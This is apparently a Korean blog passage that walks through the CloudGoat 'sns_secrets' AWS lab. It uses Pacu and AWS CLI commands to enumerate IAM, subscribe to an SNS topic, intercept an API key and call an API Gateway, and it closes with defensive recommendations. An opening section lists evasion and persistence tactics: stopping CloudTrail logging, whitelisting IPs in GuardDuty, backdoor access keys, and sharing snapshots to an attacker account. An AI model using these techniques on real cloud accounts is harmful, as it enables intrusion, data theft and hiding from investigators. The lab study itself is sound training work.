구성 정보 평문 추출: Secrets Manager 및 Parameter Store를 전수 조사하여 암호화되지 않은 자격 증명과 환경 변수를 수집한다.
스냅샷 외부 공유: EBS 또는 RDS의 스냅샷을 생성한 후, 이를 공격자가 통제하는 외부 AWS 계정으로 공유하여 데이터를 원격으로 복제한다.

4. 탐지 회피 및 지속성 유지

공격 성공 후 보안 관제 시스템(SIEM/IDS)의 추적을 따돌리고 재진입 경로를 확보하는 최종 단계

로깅 무력화: cloudtrail__stop_logging 을 통해 활동 기록 생성을 중단하거나, 로그 보존 설정을 변경하여 침해 사고 분석을 방해합니다.
탐지 예외 설정: GuardDuty 등의 보안 서비스에 특정 IP를 화이트리스트로 등록하여 비정상 행위 탐지 알람을 차단합니다.
백도어 구축: 기존 IAM 사용자 계정에 별도의 Access Key를 추가 생성하거나 신뢰 관계를 조작하여, 원래의 자격 증명이 삭제되더라도 접근 권한을 유지하도록 설계합니다.

Pacu 기본 사용법

Pacu는 독자적인 터미널 환경을 가지고 있다. 실행하면 pacu > 라는 프롬프트가 뜬다.

① 세션 생성 및 키 등록

Pacu는 '세션' 단위로 정보를 저장한다. 프로젝트별로 관리하기 편하다.

# 세션 생성
set_session [세션명]

# 공격할 대상의 Access Key 등록
set_keys

② 모듈 탐색 및 선택

Pacu는 '모듈'이라는 단위로 기능을 실행한다.

# 사용 가능한 모든 모듈 리스트 보기
list

# 특정 키워드로 모듈 검색
search [키워드]

#예시 
search sns

③ 모듈 실행

모듈을 실행할 때는 run [모듈명]을 사용한다.

run [모듈명]

# 현재 내 유저가 가진 권한을 분석
run iam__enum_permissions

④ 수집된 데이터 확인

Pacu가 수집한 정보는 따로 명령어를 치지 않아도 내부 DB에 저장된다.

# 지금까지 찾은 모든 리소스 요약 보기
data

# 특정 서비스의 데이터 상세 보기
data [서비스명]

[ CloudGoat | Easy ] sns_secrets 시나리오 실습

chon29 — Mon, 9 Mar 2026 12:32:01 +0900

Github 링크

cloudgoat/cloudgoat/scenarios/aws/sns_secrets at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

README

시나리오 개요

Exploitation Route

Enumerate the user's policy: 제공된 자격 증명으로 IAM 권한을 확인하고 SNS(Simple Notification Service) 토픽을 나열하고 구독할 수 있는 권한이 있는지 체크한다.
Enumerate SNS Topics: 어떤 SNS 주제(Topic)들이 생성되어 있는지 목록을 조회한다.
Subscribe to the SNS Topic: 정보를 훔쳐보기 위해 "sns__enum"과 "sns__subscribe"를 사용하여 토픽을 구독하여 메시지를 받을 준비를 한다. (실습에서는 주로 이메일이나 HTTP 엔드포인트를 활용)
Retrieve the API Key from the SNS Topic: SNS 토픽에서 디버그 메시지로 API 키가 포함된 이메일을 받는다. 디버그 메시지를 모니터링하여 API Key를 탈취한다.
Identify the API Gateway URL: AWS CLI로 API Gateway를 조회하여 API 게이트웨이의 경로, 메서드, 단계 및 리소스를 알아낸다.
Trigger the API Gateway with the API Key: 탈취한 API Key를 헤더에 넣고 curl로 API를 호출해 플래그를 얻는다.

유출된 API Key를 찾아 API Gateway를 호출하고 최종 플래그(Flag)를 획득하는 것이 이 시나리오의 목표!

[ 환경 구축 ]

시나리오 생성

먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.

cloudgoat create sns_secrets

시나리오 리소스

1 EC2 instance
1 SNS topic
1 API Gateway REST API
1 IAM role
1 IAM user

AWS CLI 프로필 설정 (자격 증명 등록)

시나리오에서 발급받은 access_key_id와 secret_access_key를 사용하여 내 로컬 환경에 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.

# 프로필 등록
aws configure --profile [프로필_이름]

시나리오에서 생성된 사용자의 프로필을 등록한다.

현재 사용자 정보 확인

# 현재 신분 확인
aws sts get-caller-identity --profile [프로필_이름]

프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다.

[ IAM 권한 분석 ]

사용자에게 연결된 정책 확인

# 연결된 관리형 정책 확인
aws iam list-attached-user-policies --user-name [사용자_이름] --profile [프로필_이름]

# 인라인 정책 확인
aws iam list-user-policies --user-name [사용자_이름] --profile [프로필_이름]

관리형 정책 : AWS에서 기본으로 제공하거나 미리 만들어진 정책이 유저에게 붙어 있는지 확인하는 명령

인라인 정책 : 유저에게 직접 정의된 전용 권한이 있는지 확인하는 명령

"PolicyNames": [
        "cg-sns-user-policy-cgidul5ww5b297"
    ]

CloudGoat 시나리오에서는 주로 인라인 정책(Inline Policy)에 핵심 권한을 숨겨두는 경우가 많으므로 반드시 확인해야 한다.

인라인 정책 상세 확인 (cg-sns-user-policy-cgidul5ww5b297)

인라인 정책 이름이 확인되었다면, 실제 어떤 권한(JSON)이 들어있는지 확인해야 한다.

# 인라인 정책 상세 내용 확인
aws iam get-user-policy --user-name [사용자_이름] --policy-name [정책_이름] --profile [프로필_이름]

정책 분석

sns:ListTopics: 현재 AWS 계정에 어떤 SNS 주제가 있는지 목록을 조회하여 공격 대상을 선정할 수 있다. (정찰 단계)
sns:Subscribe: 특정 토픽에 나를 등록하여 내부 메시지를 도청할 수 있는 권한이다. ⭐
sns:Receive: 메시지를 수신할 수 있는 권한
apigateway:GET: API Gateway의 구조와 엔드포인트를 정찰하여 최종 데이터 유출 경로를 파악할 수 있다. (아래쪽에 특정 리소스에 대한 Deny 설정이 있으니 주의)

[ SNS 토픽 탈취 및 구독 ]

SNS 토픽 목록 확인

# SNS 토픽 목록 조회
aws sns list-topics --profile [프로필_이름]

정책에서 권한이 있음을 확인했으니, 이제 실제로 어떤 토픽이 있는지 살펴봐야 한다.

TopicArn이 포함된 결과를 확인할 수 있다. 이 Arn을 이용하여 토픽을 구독한다.

SNS 토픽 구독

aws sns subscribe --topic-arn [TopicArn] --protocol email --notification-endpoint [구독할_이메일_주소] \
    --profile [프로필_이름] --region us-east-1

실행 결과로 "SubscriptionArn": "pending confirmation" 이 나오면 성공이다. 자신이 구독한 메일함에 접속해서 Confirm Subscription 버튼을 누르면 된다.

발견한 토픽에 자신을 구독자로 등록하면 해당 토픽으로 전송되는 모든 비밀 메시지를 복사본으로 받게 된다.

메일 본문을 열어보면 디버그 형태의 텍스트가 들어있다. API GATEWAY KEY를 호출하여 플래그를 얻으면 된다.

API Key를 얻었으니, 이제 열어야 할 문인 Gateway를 찾을 차례이다.

[ API Gateway 침투 및 데이터 탈취 ]

API Gateway 정찰

탈취한 키를 꽂을 대상을 찾는 단계이다.

# API Gateway 목록 조회 (ID 확인)
aws apigateway get-rest-apis --profile [프로필_이름]

현재 계정에 생성된 API 목록을 조회해 봤다. 여기서 출력되는 id값을 메모해 둔다.

API 상세 경로 파악

ID를 찾았다면, 그 API 안에 어떤 Path가 있는지 알아야 한다.

# 특정 API의 리소스 경로 조회 (Path 확인)
aws apigateway get-resources --rest-api-id [API_ID] --profile [프로필_이름]

"path": "/user-data"를 찾아내는 과정이다.

API 엔드포인트 구성 및 호출

curl -H "x-api-key: [API_KEY]" https://[API_ID].execute-api.us-east-1.amazonaws.com/[Stage]/[Path]

stage 이름이 prod라 생각하고 명령어를 입력하면 {"message":"Forbidden"} 이 뜬다.

- trouble shooting

API 호출 시 API Key가 정확함에도 Forbidden 에러가 발생했다면, 이는 API Gateway의 스테이지 구조 때문일 확률이 높다. stage명을 prod라 임의로 입력했기 때문에 스테이지 이름을 확인해야 한다.

스테이지(Stage) 이름 확인

prod가 아니라 고유한 ID가 붙은 스테이지명을 찾는 과정이다.

# 스테이지 목록 조회
aws apigateway get-stages --rest-api-id [확인된_API_ID] --profile [프로필_이름]

prod의 실제 이름을 확인했다면 API를 다시 호출한다.

확인한 ID와 Path, 그리고 탈취한 API Key를 조합한 최종 curl 명령어를 입력하면 시나리오 실습을 성공한 것이다.

API Gateway의 HTTP API에 대한 스테이지 - Amazon API Gateway

API Gateway의 HTTP API에 대한 스테이지 API 스테이지는 API의 수명 주기 상태에 대한 논리적 참조(예: dev, prod, beta, v2)입니다. API 스테이지는 API ID 및 스테이지 이름으로 식별되며, API를 호출하는 데 사

docs.aws.amazon.com

[ 실습 종료 및 리소스 삭제 ]

생성한 리소스들을 지우지 않으면 비용이 발생하므로 실습이 끝난 후 리소스를 지우면 된다.

cloudgoat destroy sns_secrets

취약점 분석

이번 시나리오에서 발생한 보안 사고의 핵심 원인은 민감 정보의 평문 노출과 과도한 권한 부여의 결합이다.

민감 정보 노출 (Information Exposure): 시스템 디버깅을 위해 SNS 메시지에 API Key를 포함하여 전송했습니다. 이는 공격자가 메시지를 가로챌 경우 시스템 전체 권한을 넘겨주는 결과를 초래한다.
SNS 구독 권한 오남용: 권한이 낮은 사용자 계정에 sns:Subscribe 및 sns:ListTopics 권한이 부여되어 있어, 외부인이 내부 알림 채널에 손쉽게 접근(도청)할 수 있었다.
API Gateway 인증 미흡: API Key가 유출되자마자 즉시 데이터가 노출되었습니다. API Key는 물리적 보안보다는 단순 식별용에 가깝기 때문에, 이것만으로 중요한 데이터를 보호하기에는 부족하다.

단계별 대응 방안

① IAM 권한 최소화 (Least Privilege)

조치: 사용자에게 꼭 필요한 권한만 부여
방법: 일반 사용자에게 sns:Subscribe나 iam:List* 같은 광범위한 조회/구독 권한을 제거하고, 필요시 특정 리소스(ARN)에 대해서만 권한을 제한한다.

② 민감 정보 암호화 및 관리

조치: API Key, DB 비밀번호 등을 코드나 메시지에 평문으로 노출하지 않는다.
방법: AWS Secrets Manager나 Parameter Store를 사용하여 정보를 암호화하고, 필요할 때만 API를 통해 호출하여 사용하도록 로직을 변경한다.

③ API Gateway 보안 강화

조치: API Key 외에 추가적인 인증 계층을 도입
방법:
- IAM 인증 사용: AWS 서명을 통해서만 호출 가능하도록 설정
- Lambda Authorizer: 사용자 정의 로직을 통해 토큰 기반 인증 수행
- WAF(Web Application Firewall) 도입: 특정 IP에서만 접근 가능하도록 화이트리스트 운영

④ 모니터링 및 로깅

조치: 이상 징후를 즉시 감지
방법: Amazon GuardDuty를 활성화하여 비정상적인 SNS 구독이나 API 호출 패턴을 탐지하고, CloudWatch Alarms를 통해 관리자에게 즉시 알림을 보낸다.